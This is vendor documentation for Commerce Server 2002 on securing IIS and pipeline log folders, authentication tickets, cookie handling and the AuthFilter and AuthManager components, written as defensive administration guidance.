The Unpack.vbs file does need to be present if you repackage the site.

Commerce Server Site Packager does not affect Windows access control lists (ACLs).

After you unpack a site, you should lock down some of the files and folders on your Commerce Server site by changing permissions on them. You can also limit access to files by setting Web server permissions. For more information, see How Web Server Permissions Are Set.

In the Commerce Server Solution Sites, the Unpack.vbs file is secured by default.


Securing Your IIS Log File Folder

It is recommended that you secure access to your IIS log file directory. IIS log files contain sensitive information such as the following:

  • File names
  • Directory paths
  • Cookies

Note

  • Sites that use cookies store encrypted cookies containing userIds in the log files.

By default, IIS log files are stored in the <drive>:\WINNT\system32\LogFiles\W3SVC# folder on the computer running IIS, where <drive> is the drive partition where Windows is installed, and # is the number of the site. For example, the default location of the log file folder for the default Web site where Windows is installed on drive C: would be as follows:

C:\WINNT\system32\LogFiles\W3SVC1

To secure the IIS Web Log folder

It is recommended that you set NTFS security permissions on the <drive>:\WINNT\system32\LogFiles folder. Setting security permissions on this folder protects log files for all sites on your Web server.

  1. Using Windows Explorer, navigate to the <drive>:\WINNT\system32\LogFiles folder on your IIS server.
  2. Right-click the LogFiles folder, and then click Properties.
  3. In the LogFiles Properties dialog box, click the Security tab.
  4. On the Security tab, clear the Allow inheritable permissions from parent to propagate to this object checkbox.
  5. In the Security dialog box, click CopyIn the Name box, click CREATOR OWNER and then click Remove.
  6. In the Name box, click Power Users and then click Remove.
  7. In the Name box, click Users (<Server name>\Users), and then click Remove.

    Note

    • The remaining users in the Name box should be Administrators (<Server name>\Administrators) and SYSTEM, both of which are granted Full Control permissions to this folder. This is the recommended security setting for this folder.
  8. In the LogFiles Properties dialog box, click OK.

For more information about setting NTFS security on files and folders, search for the keyword "NTFS" in Windows 2000 Help.


Securing Your Pipeline Logging Folder

If you use pipeline logging to debug a pipeline, be aware that sensitive information may appear in clear text in the log files. It is recommended that you secure the folder that contains the pipeline logging files. By default, the pipeline logging files are stored in the <drive>:Inetpub\wwwroot\<application name>\pipeline\logfiles folder, where <drive> is the drive partition where Windows is installed and <application name> is the name of your application. For example, the default location of the pipeline log file folder for the default Web site, where Windows is installed on drive D: and the application name is "retail," would be as follows:

D:\Inetpub\wwwroot\retail\pipeline\logfiles.

To secure the Pipeline Logging folder

  1. Using Windows Explorer, navigate to the \pipeline\logfiles folder on your IIS server for your application.
  2. Right-click the logfiles folder, and then click Properties.
  3. In the LogFiles Properties dialog box, click the Security tab.
  4. On the Security tab, clear the Allow inheritable permissions from parent to propagate to this object checkbox.
  5. In the Security dialog box, click Copy.
  6. In the Name box, click Everyone, and then click Remove.

    Note

    • The remaining users in the Name box should be Administrators (<Server name>\Administrators) and SYSTEM, both of which are granted Full Control permissions to this folder. This is the recommended security setting for this folder.
  7. In the LogFiles Properties dialog box, click OK.

For more information about setting NTFS security on files and folders, search for the keyword "NTFS" in Windows 2000 Help.


Archiving Your IIS Log Files

It is recommended that you periodically move your log files from your Web servers to a more secure location. When you move these files, you must do it in a secure way. One way to achieve security is to use separate network segments that run directly from your staging environment to your production environment. Separate network segments are a good way to update content, and to move log files to secure servers. Another way to safely move log files is through Secure Sockets Layer (SSL) over HTTP or File Transfer Protocol (FTP).

By default, IIS log files are stored in the <drive>:\WINNT\system32\LogFiles\W3SVC# folder on the computer running IIS, where <drive> is the drive partition where Windows is installed and # is the number of the site.

By default, Pipeline logging files are stored in the \Pipeline\Logfiles folder in the Web application.

See Also

Enabling SSL on a Commerce Server Site


Additional Information About Security

For security tools and service pack releases, go to the Microsoft Security Web site at http://go.microsoft.com/fwlink/?LinkId=6679.

Before developing and deploying your site, it is strongly recommended that you read the following books about security:

  • Writing Secure Code by Michael Howard and David LeBlanc, published by Microsoft Press, 2002.
    ISBN 0-7356-1588-8
  • Designing Secure Web-Based Applications for Microsoft Windows 2000, by Michael Howard, Marc Levy, and Richard Waymire, published by Microsoft Press, 2000. ISBN 0-7356-0995-0

The following books are good resources and they support the Microsoft Certified Systems Engineer (MCSE) program.

  • MCSE Training Kit: Designing Microsoft Windows 2000 Network Security, published by Microsoft Press, 2001, ISBN 0-7356-1134-3. This book supports the Microsoft Certified Systems Engineer program.
  • MCSE Training Kit : Microsoft Internet Security and Acceleration Server 2000, by J.C. Mackin, published by Microsoft Press, 2001, ISBN 0-7356-1347-8.
  • MCSE Training Kit : Designing Highly Available Web Solutions with Microsoft Windows 2000 Server Technologies, published by Microsoft Press 2001, ISBN 0-7356-1425-3.

The following firms provide security auditing services:

  • Foundstone
  • @stake
  • BindView
  • Guardent
  • Internet Security Systems


Authenticating Users

Commerce Server leverages the security features of Windows 2000, such as Active Control Lists (ACLs) and the Windows Authentication. Commerce Server also provides authentication features, which are unique to Commerce Server, that extend the functionality of Windows security.

This section contains:

  • Authentication Concepts. Describes authentication tickets, cookies, the CS Authentication resource, and the Csapp.ini file.
  • Best Practices for Authentication. Describes recommendations for using Active Directory, AuthFilter, securing passwords, and using proxy accounts.
  • Comparison of AuthFilter and AuthManager. Describes the differences between the features in AuthFilter and AuthManager.
  • AuthFilter. Explains how to use AuthFilter for single sign-on support, and how to use it with the Retail and Supplier Solution Sites, and a .NET-based site.
  • AuthManager. Describes the AuthManager object, and provides a figure that shows how AuthManager processes a request.
  • Windows Authentication Mode. Explains how to use AuthFilter in Windows Authentication mode.
  • Custom Authentication Mode. Explains how to use AuthFilter in Custom Authentication mode.
  • Autocookie Mode. Explains how to use AuthFilter in Custom Autocookie mode.
  • Windows Authentication with Autocookie Mode. Explains how to use AuthFilter in Windows Authentication and Autocookie modes.
  • Custom Authentication with Autocookie Mode. Explains how to use AuthFilter in Custom Authentication and Autocookie modes.
  • Configuring the CS Authentication Resource. Explains the properties in the CS Authentication resource.
  • Exchange 2000 OWA Basic Authentication. Explains how to use AuthFilter and Exchange 2000 OWA Basic Authentication.
  • Setting the Security Mode on the Web Server. Explains how to enable Domain Users, which is required to use Windows Authentication mode on a Commerce Server site.
  • Generating a New Cookie Encryption Key. Explains how to generate a new cookie encryption key for encrypting and decrypting cookie data.
  • Rolling Key Encryption for Authentication Tickets. Explains how to use the rolling key encryption feature to change the encryption key, which is used to encrypt and decrypt authentication tickets for a site.
  • Configuring Login.asp to use a GUID. Explains how to update your Login.asp page to add a custom property named guid, which holds a globally unique identifier (GUID) string on the ticket of a user to protect your site from Distributed Denial of Service (DDoS) attacks.
  • Integrating with Passport. Explain how to integrate Commerce Server with Passport Express Purchase and Passport Single Signin.


Authentication Concepts

Authentication is the process by which user credentials are validated. When users log on to your site, their user credentials are compared against an authorized list, and if Commerce Server detects a match, access is granted to your Web site.

User credentials can be the combination of a user name and password, a certificate, or an authentication ticket contained by a cookie or encoded in the URL. After users log off a site, the authentication expires, therefore, they must re-authenticate when they return to your site.

Commerce Server includes the CS Authentication resource, which you use to determine how tickets are implemented on your site. You configure the properties in the CS Authentication resource in Commerce Server Manager.

This section contains:

  • Authentication Tickets
  • Commerce Server Cookies
  • CS Authentication Resource
  • Csapp.ini File Values for Authentication


Authentication Tickets

Commerce Server uses authentication tickets to authenticate users visiting your site. An authentication ticket is a mechanism used to authenticate users. It is made up of a property/value pair such as a userID and the value of the userID. For example, userID/joeuser is a property/value pair that would be in an authentication ticket.

A Commerce Server ticket contains information about a user visiting your site, such as a logon ID, the time when the user last visited your site, and a time window that indicates how long the ticket is valid. Commerce Server uses tickets to identify and authenticate users, and to associate user IDs with the profile information it collects about them.

Commerce Server uses two kinds of authentication tickets: MSCSProfile tickets and MSCSAuth tickets. When a user first accesses your site, Commerce Server creates an MSCSProfile ticket for that user, and writes it to the HTTP header. When a registered user is authenticated, Commerce Server creates an MSCSAuth ticket, and writes it to the HTTP header. Both tickets can be stored in the cookie or encoded in the URL query string.

This section contains:

  • MSCSProfile Tickets
  • MSCSAuth Tickets
  • Tickets for Anonymous Users Who Register
  • MSCSAuth and MSCSProfile Ticket Characteristics


MSCSProfile Tickets

Commerce Server uses MSCSProfile tickets to identify and track anonymous users who visit your site. MSCSProfile tickets are stored in persistent cookies for users who allow persistent cookies. If users do not allow persistent cookies, the MSCSProfile ticket is encoded in the URL.

When an MSCSProfile ticket is stored in a persistent cookie, you can determine how long the MSCSProfile ticket is valid, typically several years, by configuring the Profile Cookie Expiration Date property in the CS Authentication resource. For more information about persistent cookies, see Commerce Server Cookies.

If MSCSProfile is stored in a persistent cookie, the ticket remains on the client computer after the session is closed. The persistent cookie is not deleted, unless the user deletes the cookie.

It is recommended that you only use MSCSProfile tickets for anonymous users. Never use an MSCSProfile ticket to authenticate a user because an MSCSProfile ticket is stored in a persistent cookie. For example, consider a public kiosk scenario: if you authenticate a user using an MSCSProfile ticket, the next user in line could access the pages to which the previous user had been granted access.

Never use an MSCSProfile ticket to provide access to sensitive personal information, such as credit card or social security numbers. Use MSCSProfile tickets to provide personalization (for example, name greetings), and preferences (for example, UI language or display preferences), or to track the anonymous users browsing your site.

Note

  • Do not use unencrypted tickets. If tickets are unencrypted, attackers can easily hijack them by synthesizing the user ID, and then they can steal the identity of legitimate users visiting your site.

See Also

MSCSAuth Tickets

Tickets for Anonymous Users Who Register

MSCSAuth and MSCSProfile Ticket Characteristics

Rolling Key Encryption for Authentication Tickets

Encrypting Cookies


MSCSAuth Tickets

Commerce Server uses MSCSAuth tickets to identify and track registered and authenticated users.

MSCSAuth tickets can be stored in session cookies, or encoded in the URL. When a session ends, the browser automatically deletes session cookies, and the user must re-authenticate when revisiting the site.

The Commerce Server method for authentication, the IsAuthenticated method, checks for the existence of the MSCSAuth ticket and ensures that the ticket is valid, and that the access time is within the time-window contained in the ticket.

Note

  • Do not use unencrypted tickets. If tickets are unencrypted, attackers can easily hijack them by synthesizing the user ID, and then they can steal the identity of legitimate users visiting your site.

See Also

MSCSProfile Tickets

Tickets for Anonymous Users Who Register

MSCSAuth and MSCSProfile Ticket Characteristics

Rolling Key Encryption for Authentication Tickets

Encrypting Cookies


Tickets for Anonymous Users Who Register

A user who visits a site anonymously receives an MSCSProfile ticket. When an anonymous user registers on your site, he receives an MSCSAuth ticket. The user now has two tickets: an MSCSProfile ticket and an MSCSAuth ticket, both of which are contained in the HTTP header. The order of the tickets, in the HTTP header, is unknown and can vary between requests. AuthFilter is aware of this and automatically searches all cookies for both an MSCSProfile and MSCSAuth ticket.

Two Tickets in the Web Log File

Both cookies are logged in the Web log file in the order they appear in the HTTP request header. The Web server log import DTS task imports the first cookie it finds. The one user can appear to be two users to the DTS task if it finds hits in the log file with the cookies in different orders. This compromises the ability to track the user and may produce erroneous visit and user calculations. If both tickets exist for a particular log entry, the DTS task will use the MSCSProfile ticket.

Recommended Solution

To work around the problem described above, you can do the following:

  1. Map the user IDs from both the MSCSAuth ticket and the MSCSProfile ticket to the same user ID.
  2. During authentication, verify that the user ID in the MSCSProfile ticket matches the user ID in the MSCSAuth ticket. If the user IDs do not match, you should update the user ID in the MSCSProfile ticket.

See Also

Windows Authentication with Autocookie Mode

Custom Authentication with Autocookie Mode

Autocookie Mode

Rolling Key Encryption for Authentication Tickets

CS Authentication Resource

Commerce Server Cookies

Importing Cookies

Running the Web Server Log Import DTS Task


MSCSAuth and MSCSProfile Ticket Characteristics

The following table lists the major characteristics of MSCSAuth tickets and MSCSProfile tickets.

Characteristic | MSCSAuth | MSCSProfile
User Type | Assigned to registered users. In this context, “registered” refers to a user who has successfully completed a registration process for the relevant site. | Assigned to anonymous users.
Storage | Stored as a session cookie or encoded in the URL string. It is valid for the duration of the session or for a specified time window, and then is deleted. | Stored as a persistent cookie on the computer of the user. If it is encoded in the URL string, the MSCSProfile ticket is not stored, and therefore is not persisted when the session ends.
Contents | Contains unique user ID, last login time, time window and optional custom properties. | Contains unique user ID and optional custom properties.

See Also

MSCSProfile Tickets

MSCSAuth Tickets

Tickets for Anonymous Users Who Register

Rolling Key Encryption for Authentication Tickets

Commerce Server Cookies


Commerce Server Cookies

Commerce Server creates persistent cookies and session cookies, also called non-persistent cookies. Commerce Server uses persistent cookies to track anonymous users who visit your site. It uses session cookies to track authenticated users who visit your site.

This section contains:

  • Persistent Cookies
  • Session Cookies
  • Summary of Cookie Features


Persistent Cookies

Commerce Server uses persistent cookies to track anonymous users who visit your site. For anonymous users who allow cookies, persistent cookies are stored on the computer of the user.

When you configure the CS Authentication resource, you determine how long the persistent cookie is valid. By default, persistent cookies are valid until January 15, 2038.

A session persistent cookie can contain the MSCSProfile ticket. Or, the MSCSProfile ticket can be encoded in the URL.

Persistent cookies contain the user ID. You can determine the value to use as the user ID. For example, you can use a globally unique identifier (GUID) generated by one of your ASP pages. (Commerce Server includes the GenID object, which you can use to generate GUIDs.) If the anonymous user registers on the site, and becomes an authenticated user, this GUID can be transferred to their session cookie.

Note

  • You can add custom properties to persistent cookies. However, do not store sensitive information in cookies, such as credit card or social security numbers. Doing so would be a security risk.

See Also

Authentication Tickets

Persistent Cookies

Summary of Cookie Features

Rolling Key Encryption for Authentication Tickets


Session Cookies

Commerce Server uses session cookies to track authenticated users who visit your site. When the session ends, Commerce Server deletes the session cookies.

A session cookie can contain the MSCSAuth ticket. Or, the MSCSAuth ticket can be encoded in the URL.

Session cookies contain the following data:

  • User ID. The user ID is used to uniquely identify the user. You can determine the value to use as the user ID.
  • Time of last login. Records the time the user accessed the site.
  • Time window. The length of time, in minutes, a session cookie is valid. If a user is authenticated, leaves the computer without logging off (or is inactive for a period of time), and then returns before the close of the time window, then the user does not need to be authenticated again. However, if the user returns after the close of the time window, then the user must log in again.

Note

  • You can add custom properties to session cookies. However, do not store sensitive information in cookies, such as credit card or social security numbers. Doing so would be a security risk.

See Also

Authentication Tickets

Summary of Cookie Features


Summary of Cookie Features

You can use cookies in Commerce Server to apply specific features to your site.

Encrypting Cookies

You can configure Commerce Server to encrypt both the persistent and session cookies that are generated by your site. By encrypting cookies, you ensure that only your Commerce Server applications can read the cookies.

Cookies are encrypted by default on Commerce Server Solution Sites. However, you can disable encryption, for example, for debugging purposes. Never disable cookie encryption on a production site.

To disable encryption, in the CS Authentication resource set the Enable Encryption property to 0. For more information, see Configuring the CS Authentication Resource.

For instructions about encrypting the key for cookie data, see Generating a New Cookie Encryption Key.

Share Cookies across Domains

You can configure Commerce Server to share cookies across different domains. Each cookie has a domain property that determines the domain in which the cookie is valid. For more information about sharing cookies across domains, see AuthFilter Single Sign on Support.

Note

  • If you are using Secure Socket Layers and Secure Hypertext Transfer Protocol (SSL/HTTPS) for an application, the domain scope is built from the secure host name. If you are using HTTP, the domain scope is built from the non-secure host name. For information about configuring the secure host name and the non-secure host name for an application, see Configuring an Application.

Share Cookies across Applications

You can configure Commerce Server so that cookies can be shared across applications on the same site.

In some cases, you may not want to share cookies across applications in the same site, because the presence of cookies will impact the analysis results of user activity on your site. For example, if you have a site that sells office supplies, and you share cookies between a supplier application and a retail application, your analysis results will not differentiate user activity between the two applications. The purchases made at the supplier site may show one user purchasing office supplies in very large quantities, but the retail site may show users purchasing supplies in small quantities.

For more information about sharing cookies across applications, see Enabling Cookie Sharing across Applications.

See Also

Configuring an Application

Generating a New Cookie Encryption Key

Managing Encrypted Profile Properties

AuthFilter Single Sign on Support

Authentication Tickets


CS Authentication Resource

The CS Authentication resource is a collection of properties, including properties used to configure the AuthManager object and AuthFilter. You use the CS Authentication resource to configure a Commerce Server site at the global level and the application level. You do not set CS Authentication properties for the site level.

Do not confuse the CS Authentication resource with Commerce Server authentication, which is comprised of AuthFilter and AuthManager tools.

Global Level Authentication Properties

At the global level, you set properties in the CS Authentication global resource. These authentication properties are used by all Commerce Server sites that use that particular CS Authentication resource. For instructions, see Configuring the CS Authentication Resource.

For each site, there is a global resource pointer to the CS Authentication. Two or more sites can share the same global CS Authentication resource.

Application Level Authentication Properties

At the application level (right-click the application in Commerce Server Manager), you set authentication properties that are used only by that application. For instructions, see Configuring an Application.

In addition, if you are developing a site using a Commerce Server Solution Site, you can configure site authentication properties in the App Default Config resource. For information about the App Default Config properties, see App Default Config Settings for Solution Sites.

Notes

  • The AuthManager Auth Ticket Timeout property, which is configured at the App Default Config level using Commerce Server Manager, is not used by AuthFilter. This property is used by AuthManager to get the timeout value for MSCSAuth tickets.
  • If you upgraded from Commerce Server 2000, the TimeWindow for Valid Ticket property appears in the CS Authentication Properties dialog box. However, Commerce Server 2002 does not use this property.

See Also

Configuring the CS Authentication Resource

Configuring an Application

Configuring the App Default Config Resource

Comparison of AuthFilter and AuthManager

AuthFilter

AuthManager


Csapp.ini File Values for Authentication

Commerce Server Site Packager generates the csapp.ini file during the unpacking process. This file is required by both AuthManager and AuthFilter, and it must be located in the site root folder. For information about securing this file, see Csapp.ini File.

AuthManager and AuthFilter read the following values from the csapp.ini file:

Key Name | Key Value | Usage
SiteName This value must be a valid site name within the Admin database. This value is used to initialize the SiteConfigReadOnly component to retrieve information pertaining to the site.

Important

  • Commerce Server supports site names of 1 to 127 characters only.
AddressKeyName | This value must be a valid application name within the site that is defined by the SiteName key. | This value is used to retrieve information pertaining to the application within the site defined by the SiteName key.

See Also

Csapp.ini File


Best Practices for Authentication

It is strongly recommended that you follow the best practices listed in this topic in order to ensure a secure Commerce Server installation.

Using Active Directory

Using AuthFilter

Instantiating AuthManager

Using Autocookie Generation Mode

Securing Passwords

Configuring Authentication Properties

Using Active Directory

  • If you use Active Directory in a large-scale scenario, use SQL Server to store an aggregated profile.

    Use Active Directory to store sensitive data such as logon name, password, groups, and e-mail addresses, and use SQL server to store more dynamic and less sensitive data such as user preferences and transaction data.

    SQL Server is faster than Active Directory, but Active Directory provides additional security features as well as cross-application directory integration. For a step-by-step example of how to store some profile properties in Active Directory and other profile properties in SQL Server, see Add new properties to the profile definition for your site.

    Even though Active Directory can store a large number of objects, for performance reasons in e-business scenarios, it is recommended that you store no more than three million objects/users per domain in Active Directory. Commerce Server provides partitioning support across multiple forests to scale Active Directory. This has been tested up to 10 million objects/users, although there is no hard-coded limit. Alternatively, for a much simpler solution, consider using proxy accounts. For more information, see Proxy Accounts.

Using AuthFilter

  • If Commerce Server is installed with Windows Authentication, you can use AuthFilter only if you enable SQL Server authentication to the Administration database.

    When using AuthFilter in a Commerce Server deployment that uses Windows Authentication, you must change the connection string to the Administration database because the ISAPI filter (and hence AuthFilter) is running in the security context of the IIS process (inetinfo), known as LocalSystem. Therefore, AuthFilter tries to connect to the SQL Server on another computer, using credentials from LocalSystem, which are invalid; it does not have the rights to make connections across a network. (If the Administration database is local, the connection would work, but you should never locate the Administration database on the Web server.)

    For instructions for using AuthFilter in this scenario, see Using Windows Authentication in a Distributed Deployment.

  • Use AuthFilter in Windows Authentication mode to support single sign-on in a Web farm/multi-domain environment.

    In a Web farm, AuthFilter enables an authenticated user who is logged on to one server to access a site on another server, without the user resubmitting login information.

    Note

    • To implement this functionality, you must add custom code to the Login.asp page. For a code example, see Login.asp Code for the Supplier Solution Site.

    However, if the request is sent with the Post method using non-sticky sessions, any information contained in the header body is lost during the required redirection. Only use the Post method with sticky sessions. If you use non-sticky sessions, always use the Get method and SSL (HTTPS) for increased security. For more information, see Authenticating Users in a Web Farm.

  • After making a change to the AuthFiles folder (such as renaming the folder), or changing any files in the folder, check the security setting for the AuthFiles folder.

    After you make a change to the AuthFiles folder, use Internet Services Manager to navigate to the virtual directory of the site and verify that the security property is set for anonymous access.

    To set the property to anonymous access

    1. In Internet Services Manager, right-click AuthFiles, and then click Properties.
    2. On the Directory Security tab, in the Anonymous access and authentication control section, click Edit.
    3. Verify Anonymous access is selected, and then click OK.
  • To track both authenticated users and anonymous users visiting your site, use AuthFilter in mixed mode (using either Windows authentication or Custom authentication mode together with Autocookie mode).

    You can maintain some content that is served only to authenticated users, and other content that is available to anonymous users. This way, you can allow anonymous users to browse your site, while tracking their browsing tendencies.

    When you use Custom Authentication mode, users must register, and therefore must access your site as an authenticated user. AuthFilter secures all files in the virtual directory that it protects, by allowing only authenticated users to access files in the virtual directory. You cannot configure the virtual directory to have both authenticated and anonymous content available simultaneously.

    After the Login page validates the user credentials, all the content/pages are executed under the context of the Microsoft Internet Information Services (IIS) 5.0 Anonymous account, which is IUSR_computername by default, where computername is the name of the computer where your site is installed.

    To maintain content that is accessible to anonymous users

    1. Add a link on the Login page. Users who are not registered and who do not want to register can access the anonymous content by clicking on that link.
    2. Make that URL another virtual directory that is separate from the original virtual directory. The URL cannot be nested within the original virtual directory.
  • Specifying SSL/HTTPS for login pages when using AuthFilter.

    To specify SSL/HTTPS for login pages, when using AuthFilter, use the CS Authentication Login Form property. You must specify the full path to the Login.asp page, for example, https://www.microsoft.com/authfilter/login.asp. For instructions about setting the Login Form property, see Configuring the CS Authentication Resource.

    If you are using AuthManager, you do not need to configure the Login Form property. Instead, use Commerce Server Manager to configure two application properties: Enable HTTPS and Secure host name. AuthFilter does not use these properties. For instructions about setting these properties, see Configuring an Application.

  • You cannot use host headers in a deployment of multiple sites that implement AuthFilter.

    IIS does not support the use of host headers with SSL. However, for basic security AuthFilter requires the use of SSL when passing login credentials to the server.

  • Use SSL with AuthFilter, Active Directory, and ACLs, rather than using mutual authentication with client certificates.

    With mutual authentication, the client verifies the identity of your server using certificates. Likewise, your server verifies the identity of clients using certificates. However, using certificates to validate users requires an investment in public key infrastructure, such as certificates, certificate servers, and a certificate authority. Additionally, verifying certificates requires additional server resources, such as CPU time. It is easier to use SSL with AuthFilter, Active Directory, and Access Control Lists (ACLs), than to configure your system to issue and verify certificates. For more information about certificates, see the IIS online documentation.

  • When adding multiple Commerce sites (protected by AuthFilter) on a single Web server, unpack each Commerce site to a separate directory.

    Do not install one Commerce site in the subdirectory of another site. You can install multiple sites to the same virtual directory if they are contained by separate directories within the virtual directory.

  • When using AuthFilter, all Commerce sites must have dissimilar names.

    For example, do not call one site "Retail" and another "retail2." Doing so may cause IIS to send cookies to the wrong site.

Instantiating AuthManager

  • Instantiate the AuthManager object at application scope.

    You should instantiate and initialize a single instance of the AuthManager object in application scope, so that the cache of SiteConfig object data is initialized. This improves the performance of future calls to initialize the AuthManager object, because the cache is already populated. However you should never use this instance to use the AuthManager APIs.

    The AuthManager object should be created and destroyed on each ASP page on a per request basis. This is because Authmanager has dependencies on individual user sessions.

    Use the AuthManager object only through Active Server Pages (ASP), because it depends on ASP-intrinsic objects. This AuthManager object should not be used elsewhere.

Note

  • Outside of an ASP script, you can use the Initialize, Refresh, GetUserIDFromCookie and GetUserIDFromCookieAndKey methods of AuthManager object.

Using Autocookie Generation Mode

  • In Autocookie Generation mode, when anonymous users register, their persistent cookies can be updated programmatically so that the profile data gathered while the users were anonymous is not lost.

    You use the AuthManager object to add update functionality programmatically. The registration page must perform this update by getting the correct GUID or user ID from the registered profile and using the SetProfileTicket method to set it. This logic is necessary because the process for moving anonymous users to registered users depends on your application; for example, whether the same profile is used or a different profile.

    When an anonymous user becomes a registered user, two tickets exist at any given time, when the user is logged in and authenticated.

    • If the new profile is used, update the MSCSProfile ticket with the new identity, or if a new profile is not created and just a flag is turned on, set the appropriate properties as needed.
    • In cases where both the MSCSAuth ticket and the MSCSProfile ticket exist, the Web Log Import Data Transformation Services (DTS) task gets the user ID contained in the MSCSProfile ticket.

      If the MSCSProfile ticket does not exist, then the user ID is retrieved from the MSCSAuth ticket. It uses this user ID to do a lookup of the profile from the primary key for the profile schema that has been exported by the User Import DTS task. The default schema exported into the Data Warehouse by the Profile Import DTS task contains the GUID and LoginName.

Securing Passwords

  • If you are using Active Directory, you cannot get clear text passwords from Active Directory, so you must enable sticky sessions.

    User passwords in Active Directory are stored in an encrypted format. To access this password in clear text, the following two options are available when the password is initially retrieved in the login page:

    • Extend the profile schema by adding a new property to store the clear text password. You must extend the schema using the Profile Designer module in Commerce Server Business Desk. For information about this procedure, see Adding Properties to a Profile Definition.
    • Create a custom cache to store the password to be retrieved in clear text. For more information, see Clear Text Passwords.

    Important

    • Storing clear-text passwords is a security risk because they are inherently less secure than encrypted passwords.
  • If you are using Active Directory and SQL Server aggregation, capture the password from the Login.asp page and store it in the profile store for the user in SQL Server.

    The password is then accessible from another Web server and using your custom code in Login.asp, users can log in transparently. This allows the login page to send user credentials to AuthFilter that is running on the server that the user is redirected to. This authentication process does not require sticky sessions.

    Important

    • Storing passwords in SQL Server is inherently less secure than storing passwords in Active Directory in an ecnrypted format.

Note

  • You can encrypt profile properties. For more information, see Managing Encrypted Profile Properties.

Configuring Authentication Properties

  • Use the net stop iisadmin and net start w3svc commands to restart IIS.

    You must restart IIS, when you perform any of the following tasks:

    • Configure CS Authentication resource properties
    • Enable cookie sharing across domains/applications
    • Enable or disable AuthFilter

    By restarting IIS, you unload all applications and update the site configuration properties in the local site cache for AuthFilter.

    Do not use the IISReset command. Although IISReset stops and then restarts IIS, under certain conditions it does not restart the Inetinfo.exe (W3SVC service). For example, IISReset will not restart IIS if the W3SVC service is configured for manual start instead of automatic start. For instructions about using the net stop and net start commands, see Restarting IIS and Commerce Server Services.


Comparison of AuthFilter and AuthManager

Commerce Server provides two tools used to manage user authentication and identification:

  • AuthManager. A Component Object Model (COM) object that exposes methods for identifying users and controlling access to dynamically generated content. For example, a site developer can invoke the GetUserID method of AuthManager to identify a user based on the ticket contained in a cookie or query string. AuthManager is used on every secured ASP page on your site, to check whether the user is allowed to view the page using the IsAuthenticated method.

    AuthManager supports cookieless shopping. An Authentication Ticket must be appended to every URL query string created on the site to ensure that the authentication ticket is passed on for all requests. This is done through the GetUrl method. Note that only one ticket can be appended to the URL, with the MSCSAuth ticket having precedence over the MSCSProfile ticket.

    AuthManager is not dependent on any of the configuration settings that are applied during the unpacking process.

  • AuthFilter. An Internet Server API (ISAPI) filter used and configured at the Commerce Server application level. AuthFilter can be applied to all users visiting your site. You configure AuthFilter after unpacking a site. AuthFilter does not support cookieless shopping.

Summary of Differences Between AuthFilter and AuthManager

The following table summarizes the differences among the features supported by AuthFilter and the AuthManager object.

Features and functionality | AuthFilter: Windows Authentication | AuthFilter: Custom Authentication | AuthFilter: AutoCookie | AuthManager
Checks whether session (non-persistent) cookies are supported | Yes | Yes | Yes | No
Supports cookieless shopping | No | No | No | Yes
Provides granular access control using access control lists (ACLs) | Yes | No | No | No
Supports custom login pages | Yes | Yes | No | No If the ticket is not validated using AuthManager, you can reroute the user request to a custom login page.
Supports URL case correction | Yes | Yes | Yes | No
Supports Web farm environments | Yes, with some limitations on Post requests | Yes | Yes | Yes
Uses ASP-intrinsics | No | No | No | Yes
Supports using Active Directory for storing user profiles | Yes | No | Yes (*mixed mode) | No
Supports using SQL Server for storing user profiles | Yes (Active Directory + SQL Server) | Yes | Yes (*mixed mode) | Yes
Impersonates user | Yes | No (Anonymous) | No (Anonymous) | No (Anonymous)
Access Control Lists (ACLs) | Virtual directory level and dynamic page level | Virtual directory level | Anonymous-only | Dynamic page level
Supports security credentials provided by the user | Yes | Custom (Anonymous) | Anonymous | No
Requires a cookie from the client | Yes | Yes | Yes | No

* Mixed mode is the use of Autocookie Generation mode with either Custom Authentication mode or Windows Authentication mode.

Commerce Server authentication does not support heterogeneous scenarios, for example, a mixed environment of Windows 2000 and Unix servers.

See Also

Authentication Tickets

AuthFilter

AuthManager


AuthFilter

AuthFilter is an ISAPI filter provided with Commerce Server 2002. AuthFilter alters the default behavior of IIS and affects how HTTP requests and responses are handled.

By default, when AuthFilter is used, it is installed at the IIS site level with low priority. This means that if other ISAPI filters are running in IIS, they will process requests before AuthFilter does. If ISAPI filters from other applications, or custom ISAPI filters, are installed on your Web server, you can configure these ISAPI filters at a higher priority if you want those filters to process requests before AuthFilter does.

AuthFilter can be used in different authentication modes. For information about the AuthFilter modes, see Overview of AuthFilter Authentication Modes.

Regardless of the authentication mode, when AuthFilter is notified of an incoming request, it automatically does the following:

  • Detects whether the requested URL is correct. AuthFilter automatically corrects for the case sensitivity of the Internet Information Services (IIS) virtual directory roots.

    Caution

    • AuthFilter issues a redirect to correct the case in the requested URL. Any Post data in the requested URL is lost.
  • Checks whether the browser supports cookies. If the client browser does not support cookies, AuthFilter redirects the user to a no cookie page. AuthFilter requires that browsers support cookies.

    Caution

    • AuthFilter issues a redirect when it verifies if the browser supports cookies. This verification is done for only the very first request, that is made during the session. Any Post data in the requested URL is lost.
  • Checks that the user has a valid ticket. For Windows and Custom Authentication modes, if the request does not contain a valid MSCSAuth ticket, then the request is redirected to the Login.asp page. For Autocookie mode, if the request does not have a valid MSCSProfile ticket, then the request is redirected to the autocookie.asp page.

After performing these tasks, AuthFilter performs additional tasks, depending on the authentication mode.

This section contains:

  • Overview of AuthFilter Authentication Modes
  • AuthFilter Initialization
  • How AuthFilter Verifies Cookies
  • AuthFilter and IIS Event Notifications
  • AuthFilter Single Sign-on Support
  • Enabling AuthFilter for the Retail Solution Site
  • Important Information about AuthFilter for the Retail Solution Site
  • Enabling AuthFilter for the Supplier Solution Site
  • Important Information about AuthFilter for the Supplier Solution Site
  • Login.asp Code for the Retail Solution Site
  • Login.asp Code for the Supplier Solution Site
  • Using AuthFilter on a .NET-based Site
  • Disabling AuthFilter


Overview of AuthFilter Authentication Modes

When you implement AuthFilter, you can choose one of the following authentication modes:

  • Windows Authentication
  • Custom Authentication

Note

  • Of these two methods, it is recommended that you use Windows Authentication, which is inherently more secure than Custom Authentication. Windows Authentication stores passwords in Active Directory, whereas Custom Authentication stores passwords in a database.

Windows Authentication

In this mode, AuthFilter uses Windows Authentication to control access to the site. User credentials, for example user IDs and passwords, are authenticated against Active Directory. When you use Windows Authentication, you can require login access for only certain pages and directories that you specify. To use Windows Authentication, see Enabling Windows Authentication.

AuthFilter uses Windows Authentication, through access control lists (ACLs), to control access to the site. Anonymous and registered users can access the site depending on the ACLs. For more information about this mode, see Windows Authentication Mode.

